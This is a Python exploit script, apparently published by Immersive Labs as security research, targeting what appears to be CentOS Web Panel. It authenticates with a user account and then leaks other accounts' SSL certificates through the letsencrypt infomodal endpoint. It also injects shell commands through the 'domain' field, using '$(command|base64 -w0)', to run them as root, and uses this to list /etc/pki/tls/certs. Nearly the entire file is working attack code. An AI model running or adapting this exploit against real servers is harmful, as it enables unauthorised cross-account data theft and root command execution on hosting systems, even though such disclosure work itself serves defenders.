leak_ssl_cert.py

# Copyright (C) 2022 Mat Rollings, Immersive Labs
# https://github.com/Immersive-Labs-Sec/
#
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import argparse
import base64

import requests
import urllib3

# Disable the Insecure Warnings for self signed certificates
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080",

}

session = requests.session()

"""
Leak SSL certificates from other accounts.

Note that this endpoint is also vulnerable to command injection and can be used to run any command as root and return
the output. This is used when not providing a hostname to view all possible certificates.

- Requires a valid user login

[POST] index.php?module=letsencrypt&acc=infomodal
[DATA] domain=srv2.example.com&type=cert
"""


def login(base_url, username, password):
    login_url = f'{base_url}/login/index.php?acc=validate'
    account_url = f'{base_url}/{username}/'

    data = {
        'username': username,
        'password': base64.b64encode(password.encode('ascii')),
        'sessioning': '0',
        'userlang': ''
    }

    response = session.post(login_url, data=data, verify=False)
    token = response.json().get('token')

    if not token:
        return False

    data = {
        'username': username,
        'password': '',
        'token': token,
        'intended': ''
    }

    response = session.post(account_url,
                            data=data,
                            verify=False,
                            allow_redirects=False)

    # Check the User cookie was set and will exist in our session
    cookies = response.cookies.get_dict()
    for key in cookies.keys():
        if key.startswith('cwpsrv-User-'):
            return True


def perform_leak(base_url, username, domain):
    """Leak the SSL certificate for a given domain"""

    target_url = f'{base_url}/{username}/index.php?module=letsencrypt&acc=infomodal'
    post_data = {
        'domain': domain,
        'type': 'cert'
    }

    response = session.post(target_url, data=post_data, verify=False)

    if response.status_code == 200:
        j = response.json()
        return j.get('result')


def command_inject(base_url, username, command):
    """Find out what SSL certificates are on the server using the command injection in the same place."""
    cmd = f'$({command}|base64 -w0)'
    result64 = perform_leak(base_url, username, cmd).split('/')[-1].replace('.cert', '')
    result = base64.b64decode(result64).decode('ascii').strip()
    return result


def list_certificates(base_url, username):
    """Find out what SSL certificates are on the server using the command injection in the same place."""
    result = command_inject(base_url, username, 'find /etc/pki/tls/certs/*.cert -printf "%f\n"')
    if ".cert" in result:
        return result.replace('.cert', '')


def leak_certificate(base_url, username, domain):
    """Leak the SSL certificate for a given domain"""
    return perform_leak(base_url, username, domain)


if __name__ == '__main__':

    parser = argparse.ArgumentParser(
        description='Leak SSL certificates for a known hostname')
    parser.add_argument(
        '--target',
        help='Target Host e.g. 54.32.155.22',
        required=True)

    parser.add_argument(
        '--username',
        help='Username for an existing account',
        required=True)

    parser.add_argument(
        '--password',
        help="Password for existing account",
        required=True)

    parser.add_argument(
        '--hostname',
        help="The hostname to leak a certificate for e.g. test.exampledomain.com, if not provided command injection will"
             "be used to try to find all the available certificates",
        required=False)

    parser.add_argument(
        '--proxy',
        help="Proxy Requests through a default local BURP instance",
        required=False,
        action='store_true')

    args = parser.parse_args()

    if args.proxy:
        session.proxies.update(proxies)

    # Construct our Base URL
    base_url = f'https://{args.target}:2083'

    print(f'[+] Logging in to target with username {args.username}')
    authenticated = login(base_url, args.username, args.password)

    if authenticated:
        print('  [-] Auth Successful')
        if args.hostname:
            print(f'  [-] Attempting to leak certificate for {args.hostname}')
            response = leak_certificate(base_url, args.username, args.hostname)
            if 'BEGIN CERTIFICATE' in response:
                print('[*] Certificate leaked:')
                print(response)
            else:
                print('[!] The server returned an error')
                print(response)
        else:
            print(f'  [-] Attempting command injection to find all certificates')
            response = list_certificates(base_url, args.username)
            if response:
                print('[*] Certificates found:')
                print(response)
            else:
                print('[!] Error or no certificates found!')
                print(response)
    else:
        print(f'[!] Unable to authenticate with the target')